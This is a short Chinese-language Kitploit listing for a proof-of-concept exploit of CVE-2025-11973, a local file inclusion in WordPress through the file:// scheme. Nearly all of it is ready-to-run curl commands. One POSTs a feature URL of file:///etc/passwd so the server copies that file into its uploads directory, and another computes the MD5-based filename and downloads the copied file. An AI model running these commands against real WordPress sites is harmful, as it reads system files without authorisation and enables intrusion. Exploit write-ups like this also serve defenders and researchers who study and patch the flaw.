CVE-2025-11973 — CVE-2025-11973的概念验证利用，演示了通过file://协议在WordPress中实现的本地文件包含（LFI），并自动将/etc/passwd文件渗出到上传目录。 | Kitploit

触发：通过 `file://` 读取 `/etc/passwd` 并外泄到上传目录

curl -sS -A "$UA" -X POST "$BASE/?__kds_flag=post" \
  --data-urlencode "kds_password=$SECRET" \
  --data-urlencode "post_title=sub1-lfi" \
  --data-urlencode "__kds_feature_url=file:///etc/passwd"

检索已外泄的文件

计算存储的文件名

HASH=$(printf 'file:///etc/passwd' | md5sum | awk '{print $1}')

获取文件

curl -sS -A "$UA" "$BASE/wp-content/uploads/$YMD/${HASH}.jpg" | head -n 25